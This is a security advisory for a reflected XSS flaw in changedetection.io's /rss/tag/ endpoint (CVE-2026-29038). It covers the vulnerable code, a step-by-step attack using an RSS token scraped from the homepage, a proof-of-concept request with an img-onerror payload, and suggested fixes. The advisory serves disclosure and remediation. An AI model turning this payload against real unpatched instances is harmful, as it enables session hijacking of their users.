Launch Week Day 1: Announcing Security Design Review
MEDIUM 6.1 PyPI

changedetection.io has Reflected XSS in its RSS Tag Error Response

GHSA-8whx-v8qq-pq64 · CVE-2026-29038

Published · Modified

Description

A reflected cross-site scripting (XSS) vulnerability was identified in the /rss/tag/ endpoint of changedetection.io. The tag_uuid path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns text/html by default for plain string responses, the browser parses and executes injected JavaScript.

This vulnerability persists in version 0.54.1, which patched the related XSS in /rss/watch/ (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint.

Package

  • Ecosystem: pip
  • Package: changedetection.io
  • Affected versions: <= 0.54.1
  • Patched versions: (none yet)

Severity

Moderate - CVSS 6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Details

File: changedetectionio/blueprint/rss/tag.py Line: 36 Source: tag.py @ 1d72716

The tag_uuid parameter from the URL path is interpolated into the response body using an f-string with no escaping:

tag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid)
if not tag:
    return f"Tag with UUID {tag_uuid} not found", 404  # ← No escaping, Content-Type: text/html

Flask's default Content-Type for plain string responses is text/html; charset=utf-8, so any HTML/JavaScript injected via {tag_uuid} is rendered and executed by the browser.

Relationship to CVE-2026-27645

CVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in /rss/watch/ (single_watch.py). The fix applied in v0.54.1 patched that endpoint but did not fix the same pattern in /rss/tag/ (tag.py). Testing confirms:

  • /rss/watch/ on v0.54.1 — Returns generic 404 page, XSS no longer triggers ✅
  • /rss/tag/ on v0.54.1 — XSS payload still fires, vulnerability confirmed ❌

Attack Vector

The attack requires a valid RSS access token, which is a 32-character hex string exposed in the <link> HTML tag on the homepage without authentication:

  1. Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the <link> tag

  2. Crafts a malicious URL:

    http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKEN
    
  3. Sends the link to a victim who has an active session on the changedetection.io instance

  4. When the victim clicks the link, the server responds with:

    Tag with UUID <img src=x onerror=alert(document.cookie)> not found
    
  5. The browser renders the <img> tag, the onerror fires, and JavaScript executes in the victim's session context

Proof of Concept

Request

GET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1
Host: localhost:5000

Response

HTTP/1.1 404 NOT FOUND
Content-Type: text/html; charset=utf-8

Tag with UUID <img src=x onerror=alert(document.domain)> not found

The XSS payload is reflected unescaped in an HTML response. The browser executes alert(document.domain) and displays "localhost", confirming JavaScript execution.

Tested on: changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026)

https://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29

Impact

  • Session cookie theft via document.cookie exfiltration
  • Account takeover if session cookies lack the HttpOnly flag
  • Phishing via crafted links that appear to originate from a trusted changedetection.io instance
  • Low exploitation barrier - the RSS token is obtainable without authentication from the homepage <link> tag
  • Widespread exposure - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments

Suggested Fix

Escape the tag_uuid parameter before reflecting it in the response, or set the Content-Type to text/plain:

Option A: HTML Escape (Recommended)

from markupsafe import escape

if not tag:
    return f"Tag with UUID {escape(tag_uuid)} not found", 404

Option B: Set Content-Type to text/plain

from flask import make_response

if not tag:
    resp = make_response(f"Tag with UUID {tag_uuid} not found", 404)
    resp.headers['Content-Type'] = 'text/plain; charset=utf-8'
    return resp

Credits

References

Ready to move

Start Securing

Free, no credit card | First findings in minutes